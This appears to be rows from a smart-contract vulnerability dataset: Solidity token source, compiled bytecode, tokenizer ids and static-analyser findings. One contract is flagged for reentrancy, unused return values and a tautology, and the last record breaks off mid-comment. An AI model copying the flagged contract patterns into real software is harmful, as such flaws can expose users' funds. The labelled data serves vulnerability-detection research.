5b506105336113f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058157600080fd5b5061058a611418565b005b34801561059857600080fd5b506105a16116db565b604051808215151515815260200191505060405180910390f35b3480156105c757600080fd5b506105fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ee565b604051808215151515815260200191505060405180910390f35b34801561062257600080fd5b5061062b611862565b005b34801561063957600080fd5b50610642611922565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069057600080fd5b506106c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611947565b604051808215151515815260200191505060405180910390f35b3480156106eb57600080fd5b506106f4611967565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074257600080fd5b5061074b61198d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079957600080fd5b506107a26119b3565b6040518082815260200191505060405180910390f35b3480156107c457600080fd5b506107cd6119b9565b6040518082815260200191505060405180910390f35b3480156107ef57600080fd5b506108226004803603810190808035906020019092919080359060200190929190803590602001909291905050506119bf565b005b34801561083057600080fd5b5061088860048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611b9c565b604051808215151515815260200191505060405180910390f35b6108d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610972565b005b3480156108e457600080fd5b50610919600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c45565b005b34801561092757600080fd5b50610930611d9a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600a5442101580156109895750600b544211155b151561099157fe5b600260009054906101000a900460ff161515156109ad57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a0557600080fd5b600c543410158015610a195750600d543411155b1515610a2457600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff1614151515610a4a57600080fd5b349150610a62600f5483611dc090919063ffffffff16565b905060006003811115610a7157fe5b600e60009054906101000a900460ff166003811115610a8c57fe5b1415610aa857610aa58182611df890919063ffffffff16565b90505b610abd82600954611df890919063ffffffff16565b600981905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610b2b573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636323b52684601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610c4757600080fd5b505af1158015610c5b573d6000803e3d6000fd5b505050506040513d6020811015610c7157600080fd5b81019080805190602001909291905050501515610c8d57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff167f3ceffd410054fdaed44f598ff5c1fb450658778e2241892da4aa646979dee6178284604051808381526020018281526020019250505060405180910390a2505050565b600e60009054906101000a900460ff1681565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8557600080fd5b600090505b8251811015610dca57610db38382815181101515610da457fe5b90602001906020020151610f1f565b15610dbd57600191505b8080600101915050610d8a565b50919050565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3157600080fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e7857600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7c57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561108e576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1600190505b919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111457600080fd5b60008410158015611126575060028411155b151561113157600080fd5b600b548211801561114157508181115b151561114c57600080fd5b60008311151561115b57600080fd5b83600381111561116757fe5b600e60006101000a81548160ff0219169083600381111561118457fe5b0217905550611191611e14565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561121657fe5b82600f819055506000600381111561122a57fe5b600e60009054906101000a900460ff16600381111561124557fe5b141561126357611258600a600354611f25565b600c8190555061127f565b6000600c81905550611278600f600354611f25565b600d819055505b81600a8190555080600b819055507f4dd4cf04e895ce390b33814a06c8087ae7225521c993fb47043f4507d3c7f2c0600e60009054906101000a900460ff16600a54600b54604051808460038111156112d457fe5b60ff168152602001838152602001828152602001935050505060405180910390a150505050565b60035481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138257600080fd5b600260009054906101000a900460ff16151561139d57600080fd5b6000600260006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60095481565b600d5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147357600080fd5b6000600381111561148057fe5b600e60009054906101000a900460ff16600381111561149b57fe5b141561156857601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d02e140a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561152757600080fd5b505af115801561153b573d6000803e3d6000fd5b505050506040513d602081101561155157600080fd5b81019080805190602001909291905050505061165a565b6001600381111561157557fe5b600e60009054906101000a900460ff16600381111561159057fe5b141561165957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0a6e9406040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561161c57600080fd5b505af1158015611630573d6000803e3d6000fd5b505050506040513d602081101561164657600080fd5b8101908080519060200190929190505050505b5b42600b819055506003600e60006101000a81548160ff0219169083600381111561168057fe5b02179055507f71c5ed43fa42552b032a720943e16971c0ef01f33c18d0c8c6d982a5e8b4668c600e60009054906101000a900460ff16604051808260038111156116c657fe5b60ff16815260200191505060405180910390a1565b600260009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174b57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561185d5760018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1600190505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118bd57600080fd5b600260009054906101000a900460ff161515156118d957600080fd5b6001600260006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600f5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a1a57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663258b5c06611a6485600354611f25565b611a7085600354611f25565b611a7c85600354611f25565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018281526020019350505050602060405180830381600087803b158015611adc57600080fd5b505af1158015611af0573d6000803e3d6000fd5b505050506040513d6020811015611b0657600080fd5b81019080805190602001909291905050505042600b819055506003600e60006101000a81548160ff02191690836003811115611b3e57fe5b02179055507f71c5ed43fa42552b032a720943e16971c0ef01f33c18d0c8c6d982a5e8b4668c600e60009054906101000a900460ff1660405180826003811115611b8457fe5b60ff16815260200191505060405180910390a1505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bfa57600080fd5b600090505b8251811015611c3f57611c288382815181101515611c1957fe5b906020019060200201516116ee565b15611c3257600191505b8080600101915050611bff565b50919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ca057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cdc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080831415611dd35760009050611df2565b8183029050818382811515611de457fe5b04141515611dee57fe5b8090505b92915050565b60008183019050828110151515611e0b57fe5b80905092915050565b6000806003811115611e2257fe5b600e60009054906101000a900460ff166003811115611e3d57fe5b1415611e6d57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611f22565b60016003811115611e7a57fe5b600e60009054906101000a900460ff166003811115611e9557fe5b1415611ec557600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611f22565b60026003811115611ed257fe5b600e60009054906101000a900460ff166003811115611eed57fe5b1415611f1d57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611f22565b600090505b90565b6000611f3d82600a0a84611dc090919063ffffffff16565b9050929150505600a165627a7a72305820230e7068702b59ab9dcf1a2d5ff7598dc31d32d2218c75bc1253e488c7b240450029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 4246, 11329, 2278, 17465, 2497, 2683, 2050, 2683, 27814, 2098, 2575, 19317, 2620, 2475, 2497, 2683, 26976, 21926, 10790, 2549, 2094, 2487, 2497, 3207, 2050, 21084, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,771
0x9750211f26a99b99fb767f792d5f4937c48348b0
pragma solidity ^0.6.6; contract Owned { modifier onlyOwner() { require(msg.sender==owner); _; } address payable owner; address payable newOwner; function changeOwner(address payable _newOwner) public onlyOwner { require(_newOwner!=address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender==newOwner) { owner = newOwner; } } } abstract contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) view public virtual returns (uint256 balance); function transfer(address _to, uint256 _value) public virtual returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success); function approve(address _spender, uint256 _value) public virtual returns (bool success); function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Token is Owned, ERC20 { string public symbol; string public name; uint8 public decimals; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public virtual override returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract ArilCoin is Token{ constructor() public{ symbol = "ARC"; name = "ArilCoin"; decimals = 8; totalSupply = 30000000000000000; owner = msg.sender; balances[owner] = totalSupply; } receive () payable external { require(msg.value>0); owner.transfer(msg.value); } }
0x6080604052600436106100a05760003560e01c806370a082311161006457806370a082311461031357806379ba50971461037857806395d89b411461038f578063a6f9dae11461041f578063a9059cbb14610470578063dd62ed3e146104e35761011c565b806306fdde0314610121578063095ea7b3146101b157806318160ddd1461022457806323b872dd1461024f578063313ce567146102e25761011c565b3661011c57600034116100b257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610119573d6000803e3d6000fd5b50005b600080fd5b34801561012d57600080fd5b50610136610568565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bd57600080fd5b5061020a600480360360408110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610606565b604051808215151515815260200191505060405180910390f35b34801561023057600080fd5b506102396106f8565b6040518082815260200191505060405180910390f35b34801561025b57600080fd5b506102c86004803603606081101561027257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106fe565b604051808215151515815260200191505060405180910390f35b3480156102ee57600080fd5b506102f76109ff565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031f57600080fd5b506103626004803603602081101561033657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a12565b6040518082815260200191505060405180910390f35b34801561038457600080fd5b5061038d610a5b565b005b34801561039b57600080fd5b506103a4610b16565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e45780820151818401526020810190506103c9565b50505050905090810190601f1680156104115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042b57600080fd5b5061046e6004803603602081101561044257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb4565b005b34801561047c57600080fd5b506104c96004803603604081101561049357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8b565b604051808215151515815260200191505060405180910390f35b3480156104ef57600080fd5b506105526004803603604081101561050657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e79565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105fe5780601f106105d3576101008083540402835291602001916105fe565b820191906000526020600020905b8154815290600101906020018083116105e157829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107cb575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107d75750600082115b80156108625750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b61086b57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610b1457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bac5780601f10610b8157610100808354040283529160200191610bac565b820191906000526020600020905b815481529060010190602001808311610b8f57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c0d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c4757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610cdc5750600082115b8015610d675750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b610d7057600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea26469706673582212205213b20e16fc6191bfb35f7031dea299d6a1c1e319bd8bec9b2d151088b93d4c64736f6c63430006070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2692, 17465, 2487, 2546, 23833, 2050, 2683, 2683, 2497, 2683, 2683, 26337, 2581, 2575, 2581, 2546, 2581, 2683, 2475, 2094, 2629, 2546, 26224, 24434, 2278, 18139, 22022, 2620, 2497, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 3206, 3079, 1063, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 4769, 3477, 3085, 3954, 1025, 4769, 3477, 3085, 2047, 12384, 2121, 1025, 3853, 2689, 12384, 2121, 1006, 4769, 3477, 3085, 1035, 2047, 12384, 2121, 1007, 2270, 2069, 12384, 2121, 1063, 5478, 1006, 1035, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1007, 1025, 2047, 12384, 2121, 1027, 1035, 2047, 12384, 2121, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,772
0x9750ee681ea254053f4ba0c4827d7092af1a03a0
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; contract Owned { address public owner; address public proposedOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() virtual { require(msg.sender == owner); _; } /** * @dev propeses a new owner * Can only be called by the current owner. */ function proposeOwner(address payable _newOwner) external onlyOwner { proposedOwner = _newOwner; } /** * @dev claims ownership of the contract * Can only be called by the new proposed owner. */ function claimOwnership() external { require(msg.sender == proposedOwner); emit OwnershipTransferred(owner, proposedOwner); owner = proposedOwner; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to 